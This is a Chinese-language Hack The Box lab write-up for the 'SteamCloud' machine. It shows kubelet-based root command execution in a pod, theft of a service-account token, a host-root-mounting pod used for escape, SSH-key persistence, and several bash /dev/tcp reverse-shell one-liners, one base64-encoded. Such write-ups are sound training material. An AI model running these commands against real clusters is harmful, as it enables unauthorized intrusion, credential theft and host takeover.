知识点:Kubernetes(K8s)
Scan
发现七个开放的 TCP 端口、SSH (22)、Kubernetes(2379、2380 和 8443)和 InfluxDB(10249、10250 和 10256)
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ sudo nmap -p- --min-rate 10000 10.129.96.167
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-23 11:18 EST
Warning: 10.129.96.167 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.96.167
Host is up (0.80s latency).
Not shown: 62981 closed tcp ports (reset), 2547 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
2379/tcp open etcd-client
2380/tcp open etcd-server
8443/tcp open https-alt
10249/tcp open unknown
10250/tcp open unknown
10256/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 54.07 seconds
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ nmap -p 22,2379,2380,8443,10249,10250,10256 -sCV 10.129.96.167
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-23 11:20 EST
Nmap scan report for 10.129.96.167
Host is up (1.2s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-11-23T07:57:45
|_Not valid after: 2024-11-22T07:57:45
| tls-alpn:
|_ h2
2380/tcp open ssl/etcd-server?
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-11-23T07:57:45
|_Not valid after: 2024-11-22T07:57:45
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.167, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2023-11-22T07:57:42
|_Not valid after: 2026-11-22T07:57:42
| tls-alpn:
|_ h2
|_http-title: Site doesn't have a title (application/json).
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 7980d5b5-8a64-4830-8e26-0cbe6fe6c45b
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 0b2ea974-82b0-4726-88cf-310e30ec45ac
| X-Kubernetes-Pf-Prioritylevel-Uid: 699ee0aa-4cfe-48e8-a30e-e65b13fc01e1
| Date: Thu, 23 Nov 2023 16:20:32 GMT
| Content-Length: 185
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| tls-alpn:
|_ h2
| ssl-cert: Subject: commonName=steamcloud@1700726269
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2023-11-23T06:57:48
|_Not valid after: 2024-11-22T06:57:48
|_ssl-date: TLS randomness does not represent time
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.94%T=SSL%I=7%D=11/23%Time=655F7BE2%P=x86_64-pc-linux-g
SF:nu%r(GetRequest,22F,"HTTP/1.0x20403x20ForbiddenrnAudit-Id:x207980
SF:d5b5-8a64-4830-8e26-0cbe6fe6c45brnCache-Control:x20no-cache,x20priv
SF:aternContent-Type:x20application/jsonrnX-Content-Type-Options:x20
SF:nosniffrnX-Kubernetes-Pf-Flowschema-Uid:x200b2ea974-82b0-4726-88cf-3
SF:10e30ec45acrnX-Kubernetes-Pf-Prioritylevel-Uid:x20699ee0aa-4cfe-48e8
SF:-a30e-e65b13fc01e1rnDate:x20Thu,x2023x20Novx202023x2016:20:32x2
SF:0GMTrnContent-Length:x20185rnrn{"kind":"Status","apiVersion
SF:":"v1","metadata":{},"status":"Failure","message":"forbidde
SF:n:x20Userx20\"system:anonymous\"x20cannotx20getx20pathx20\"
SF:/\"","reason":"Forbidden","details":{},"code":403}n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.04 seconds
Enum
Kubernetes API - TCP 8443
通常,这些不会全部位于同一主机上,但在像 HTB 这样的环境中,结果就是这样。
所以我们在 TCP 8443 上看到的是集群的主要 API 服务器。kubelet 是在控制它的每个节点上运行的代理,通常侦听 TCP 10250。
在 Firefox 中访问该服务会返回带有 JSON 正文的 HTTP 403:
尝试使用kubeletctl命令,用该pods命令列出节点上的所有 pod。
安装教程:
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64
chmod a+x ./kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubeletctl --server 10.129.96.167 pods
┌────────────────────────────────────────────────────────────────────────────────┐
│ Pods from Kubelet │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│ │ POD │ NAMESPACE │ CONTAINERS │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ etcd-steamcloud │ kube-system │ etcd │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ storage-provisioner │ kube-system │ storage-provisioner │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-proxy-4ns7s │ kube-system │ kube-proxy │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ coredns-78fcd69978-mtc5v │ kube-system │ coredns │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ nginx │ default │ nginx │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │
│ │ │ │ │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
runningpods命令给出了一堆有关正在运行的 pod 的 JSON:
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubeletctl runningpods -s 10.129.96.167
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "kube-apiserver-steamcloud",
"namespace": "kube-system",
"uid": "2bfd7f4ac51b1eddd80bb420dd6ebbbb",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "kube-apiserver",
"image": "sha256:53224b502ea4de7925ca5ed3d8a43dd4b500b2e8e4872bf9daea1fc3fec05edc",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"name": "etcd-steamcloud",
"namespace": "kube-system",
"uid": "5870e2332e3bcab1e201faef89689a63",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "etcd",
"image": "sha256:0048118155842e4c91f0498dd298b8e93dc3aecc7052d9882b76f48e311a76ba",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"name": "kube-scheduler-steamcloud",
"namespace": "kube-system",
"uid": "3232b72c69e9f8bf518a7d727d878b27",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "kube-scheduler",
"image": "sha256:0aa9c7e31d307d1012fb9e63c274f1110868709a2c39f770dd82120cd2b8fe0f",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"name": "nginx",
"namespace": "default",
"uid": "b5a34acf-bf80-45d6-be0a-72dc917beb91",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "nginx",
"image": "sha256:295c7be079025306c4f1d65997fcf7adb411c88f139ad1d34b537164aa060369",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"name": "coredns-78fcd69978-qhwv4",
"namespace": "kube-system",
"uid": "886ca11a-9e5d-46c6-ac52-bcc14313f5af",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "coredns",
"image": "sha256:8d147537fb7d1ac8895da4d55a5e53621949981e2e6460976dae812f83d84a44",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"name": "kube-proxy-zhstq",
"namespace": "kube-system",
"uid": "be178a7d-e981-4e78-954f-f4653e5f4faf",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "kube-proxy",
"image": "sha256:6120bd723dcedd08f7545da1a8458ad4f23fbd1e94cb578519122f920a77b737",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"name": "storage-provisioner",
"namespace": "kube-system",
"uid": "8e00d770-52ff-412b-9f4f-8aec502b1002",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "storage-provisioner",
"image": "sha256:6e38f40d628db3002f5617342c8872c935de530d867d0f709a2fbda1a302a562",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"name": "kube-controller-manager-steamcloud",
"namespace": "kube-system",
"uid": "be2478237d1af444b624cb01f51f79c4",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "kube-controller-manager",
"image": "sha256:05c905cef780c060cdaad6bdb2be2d71a03c0b9cb8b7cc10c2f68a6d36abd30d",
"resources": {}
}
]
},
"status": {}
}
]
}
在 nginx 中以 root 身份执行 shell
通过访问 kubelet 服务,还可以在容器上运行命令。
使用scan rce参数确定我们是否可以在任何pod上运行命令
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubeletctl --server 10.129.96.167 scan rce
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Node with pods vulnerable to RCE │
├───┬───────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ │ │ │ │ │ RUN │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.129.96.167 │ storage-provisioner │ kube-system │ storage-provisioner │ - │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │ │ kube-proxy-4ns7s │ kube-system │ kube-proxy │ - │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │ │ coredns-78fcd69978-mtc5v │ kube-system │ coredns │ - │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │ │ nginx │ default │ nginx │ + │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │ │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │ - │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │ │ etcd-steamcloud │ kube-system │ etcd │ - │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │ │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ - │
├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │ │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ - │
└───┴───────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘
使用kubeletctl中的exec命令,给出 pod 的名称 (nginx) 和容器的名称 (nginx):
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubeletctl -s 10.129.96.167 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubeletctl -s 10.129.96.167 exec "ls /root" -p nginx -c nginx
user.txt
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubeletctl -s 10.129.96.167 exec "cat /root/user.txt" -p nginx -c nginx
69399fc5465eed9db51a2d8211ffc859
反弹shell
接下来我尝试了反弹shell,但是都失败了
kubeletctl -s 10.129.96.167 exec "which bash" -p nginx -c nginx
kubeletctl -s 10.129.96.167 exec "bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" -p nginx -c nginx
kubeletctl -s 10.129.96.167 exec 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' -p nginx -c nginx
#尝试编码 无果
echo "bash -i >& /dev/tcp/10.129.96.167/443 0>&1" | base64 -w0
kubeletctl -s 10.129.96.167 exec 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYxCg==" | base64 -d | bash' -p nginx -c nginx
#尝试curl和wget 无果
kubeletctl -s 10.129.96.167 exec "curl 10.10.14.6" -p nginx -c nginx
kubeletctl -s 10.129.96.167 exec "wget 10.10.14.6" -p nginx -c nginx
#nc python python3都没有
但是经过测试其实直接/bin/bash即可
ROOT
翻阅hacktricks:https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/enumeration-from-a-pod发现ServiceAccount 对象的位置,该对象由 Kubernets 管理并在 pod 内提供身份。它给出了三个典型的目录:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccout
本靶场是在第一个
root@nginx:~# ls /run/secrets/kubernetes.io/serviceaccount
ls /run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token
root@nginx:~# cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
root@nginx:~# cat /run/secrets/kubernetes.io/serviceaccount/token
cat /run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6InJONG9uZGZ3dHdGenpPMVRWUlA2LVdXT09md3pUUS1TYUMtX0xKMUtXT28ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMyMzYzODE3LCJpYXQiOjE3MDA4Mjc4MTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImI1YTM0YWNmLWJmODAtNDVkNi1iZTBhLTcyZGM5MTdiZWI5MSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6Ijg3ZmRmZjE0LTRhOTUtNDdjZC1iNjU4LTY2MTc4MjUwMmZmYSJ9LCJ3YXJuYWZ0ZXIiOjE3MDA4MzE0MjR9LCJuYmYiOjE3MDA4Mjc4MTcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.rR1nEHtF4gOzS_XbjBJu8MAOX4jN6XMxQ0eM73JQUCDOsCKDITU0whN0AG04-joc9lOkF3IggoHDU8zcOtRuu28s5R7UmzSCbGZVKnAeXoP2lKycGnkV7q4wJUbfP9D7IjxBlroZOaNUcGjUrbv-Xwn7K5PC7e95fSbIkD7b-09IQ4aTa9ndojY1EeykT9QwTjakeSiqNWguXhGFG7JFnyXh4wumLAkh2SpXGEWQEF1YbkIYVuqFBDS8zTKtZpmNLNgCiODgEQ7Fr8HNdt691IPb8ws7bhU9MxD4g3i59OoRAkQiY-bc31EAId5jEiDEUwh9593F8tJwQFomJSKJ-groot@nginx:~#
ca.crt:这是检查 kubernetes 通信的 ca 证书
namespace : 表示当前的命名空间
token:包含当前 Pod 的服务令牌。
通过ca.crt和token,我可以对集群进行身份验证。
向 Kubernetes API 进行身份验证
保存token在环境变量中token(这样节省复制和粘贴操作
export token=$(kubeletctl -s 10.129.96.167 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx)
使用kubectl,传递ca.crt文件和token即可免密验证,get pod返回有关正在运行的 pod 的信息
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubectl --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token get pod
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 59m
当前帐户无法执行一些类似于管理的操作,例如获取有关命名空间或集群的信息:
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubectl --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token get namespaces
Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:default:default" cannot list resource "namespaces" in API group "" at the cluster scope
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubectl --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token cluster-info
To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
Error from server (Forbidden): services is forbidden: User "system:serviceaccount:default:default" cannot list resource "services" in API group "" in the namespace "kube-system"
auth can-i 命令用于kubectl查看给定帐户是否可以执行某些操作。使用--list,它将显示所有权限:
┌──(root㉿kali)-[/home/kali/Desktop/htb/SteamCloud]
└─
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get create list]
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
[get] ] [] [
发现第三行帐户可以get、create、 和list一个pod。
获取nginx 容器信息
获取当前容器的详细信息nginx:
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
kubectl get pod nginx -o yaml --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token
apiVersion: v1
kind: Pod
metadata:
annotations:
| :
"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"nginx","volumeMounts":[{"mountPath":"/root","name":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}} :
creationTimestamp: "2023-11-24T11:22:02Z"
managedFields:
apiVersion: v1
fieldsType: FieldsV1
fieldsV1:
f:metadata:
f:annotations:
{} :
f:kubectl.kubernetes.io/last-applied-configuration: {}
f:spec:
f:containers:
k:{"name":"nginx"}:
{} :
f:image: {}
f:imagePullPolicy: {}
f:name: {}
f:resources: {}
f:terminationMessagePath: {}
f:terminationMessagePolicy: {}
f:volumeMounts:
{} :
k:{"mountPath":"/root"}:
{} :
f:mountPath: {}
f:name: {}
f:dnsPolicy: {}
f:enableServiceLinks: {}
f:restartPolicy: {}
f:schedulerName: {}
f:securityContext: {}
f:terminationGracePeriodSeconds: {}
f:volumes:
{} :
k:{"name":"flag"}:
{} :
f:hostPath:
{} :
f:path: {}
f:type: {}
f:name: {}
manager: kubectl-client-side-apply
operation: Update
time: "2023-11-24T11:22:02Z"
apiVersion: v1
fieldsType: FieldsV1
fieldsV1:
f:status:
f:conditions:
k:{"type":"ContainersReady"}:
{} :
f:lastProbeTime: {}
f:lastTransitionTime: {}
f:status: {}
f:type: {}
k:{"type":"Initialized"}:
{} :
f:lastProbeTime: {}
f:lastTransitionTime: {}
f:status: {}
f:type: {}
k:{"type":"Ready"}:
{} :
f:lastProbeTime: {}
f:lastTransitionTime: {}
f:status: {}
f:type: {}
f:containerStatuses: {}
f:hostIP: {}
f:phase: {}
f:podIP: {}
f:podIPs:
{} :
k:{"ip":"172.17.0.3"}:
{} :
f:ip: {}
f:startTime: {}
manager: kubelet
operation: Update
subresource: status
time: "2023-11-24T11:22:04Z"
name: nginx
namespace: default
resourceVersion: "509"
uid: b5a34acf-bf80-45d6-be0a-72dc917beb91
spec:
containers:
image: nginx:1.14.2
imagePullPolicy: Never
name: nginx
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
mountPath: /root
name: flag
mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-cjdhq
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: steamcloud
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
hostPath:
path: /opt/flag
type: ""
name: flag
name: kube-api-access-cjdhq
projected:
defaultMode: 420
sources:
serviceAccountToken:
expirationSeconds: 3607
path: token
configMap:
items:
key: ca.crt
path: ca.crt
name: kube-root-ca.crt
downwardAPI:
items:
fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
lastProbeTime: null
lastTransitionTime: "2023-11-24T11:22:02Z"
status: "True"
type: Initialized
lastProbeTime: null
lastTransitionTime: "2023-11-24T11:22:04Z"
status: "True"
type: Ready
lastProbeTime: null
lastTransitionTime: "2023-11-24T11:22:04Z"
status: "True"
type: ContainersReady
lastProbeTime: null
lastTransitionTime: "2023-11-24T11:22:02Z"
status: "True"
type: PodScheduled
containerStatuses:
containerID: docker://85968dd70e8a3b8188cf850d45b2f03ecf4fd3cde36825a7edbb59de2d54a667
image: nginx:1.14.2
imageID: docker-pullable://nginx@sha256:f7988fb6c02e0ce69257d9bd9cf37ae20a60f1df7563c3a2a6abe24160306b8d
lastState: {}
name: nginx
ready: true
restartCount: 0
started: true
state:
running:
startedAt: "2023-11-24T11:22:03Z"
hostIP: 10.129.96.167
phase: Running
podIP: 172.17.0.3
podIPs:
ip: 172.17.0.3
qosClass: BestEffort
startTime: "2023-11-24T11:22:02Z"
这里有大量信息,我们只需要两个关键部分:
namespace是default
image是nginx:1.14.2
以 root 身份进入 shell
这里的技巧是创建一个将根文件系统映射到其中的 pod(容器)。然后我可以在 pod 中执行,并访问映射的卷,这是主机的完整文件系统。
apiVersion: v1
kind: Pod
metadata:
name: nginxt # Pod 的名称
namespace: default # Pod 所属的命名空间,默认是 "default"
spec:
containers:
name: nginxt # 容器的名称
image: nginx:1.14.2 # 使用的容器镜像及其版本
volumeMounts:
mountPath: /root # 将主机上的 / 目录挂载到容器的 /root 目录下
name: mount-root-into-mnt # 使用名为 mount-root-into-mnt 的卷
volumes:
name: mount-root-into-mnt # 定义名为 mount-root-into-mnt 的卷
hostPath:
path: / # mount-root-into-mnt 卷使用主机的根目录作为路径
automountServiceAccountToken: true # 启用自动挂载 Service Account Token
hostNetwork: true # 使用主机的网络命名空间
kubectl apply启动 pod:
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubectl apply -f geqian.yaml --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token --request-timeout=100s
pod/nginxt created
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]
└─$ kubectl get pod --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 109m
nginxt 1/1 Running 0 21s
从 Kubelet 中也可以看到:
接下来命令执行就和上面的nginx一样了
kubeletctl exec "/bin/bash" -s 10.129.96.167 -p nginxt -c nginxt
后记
上述靶机是打完了,这里想尝试一下逃逸,在尝试过程中,发现kubeletctl执行exec会把 >和/等符号当作cat的参数,|也一样。
kubeletctl exec "cat /etc/issue | tee /tmp/a" -s 10.129.96.167 -p nginxt -c nginxt
所以这里得用上面/bin/bash的shell来写ssh
先在攻击机ssh-keygen后把生成的公钥echo上到/root/root/.ssh/authorized_keys
root@steamcloud:~/root/.ssh# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYgDBcrJxAmUWn0yLNKlUP5NThHON4/8VFTz7EctHbivI6DhUsZCSuzo5R6DqzmSrtPMidehVAsK5+nzveZJf20GlYrT7b0DUIlzXZ+7NpTNTatgU/orhd1SachuptIXMgCWZNoQrCK7YP+vZCYToAVwjevp1sYUmQjzsC/bdEj9Lk4IbkVXxenOtwvkW4qkJ6qdOlcz/mfxoSWEwggAvkfz2onSyPvbaa5uDY9g9eC61odWH/u3yxnZVQDUfUZP7vQ8r/oFOBhTV5fn82dS4V18aIv2yiyzcdFoV5DKONB5FOS5tK/YjBbXXyMgRrdSMk7vBPYXddT9t9KO2rvXcH3VyxObvJaFJq1LIomy6U2KsNm1+YE7oUPZc3WsiuX7y1eVPwz89M1QEz/ICzmGRHjxQOJnL/LVlSpBC2EF0LvkbwG+6NIGp4UMbUXocwvrZqLgeovMTR1Yj2j2PeCiBi4H5g29pjkbXMpg9v9r+hat11mt9RrxBFlxwy6AzjB5k= root@kali">authorized_keys
ssh -i ./id_rsa root@10.129.96.167
原文始发于微信公众号(搁浅安全):HTB-SteamCloud(Easy)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论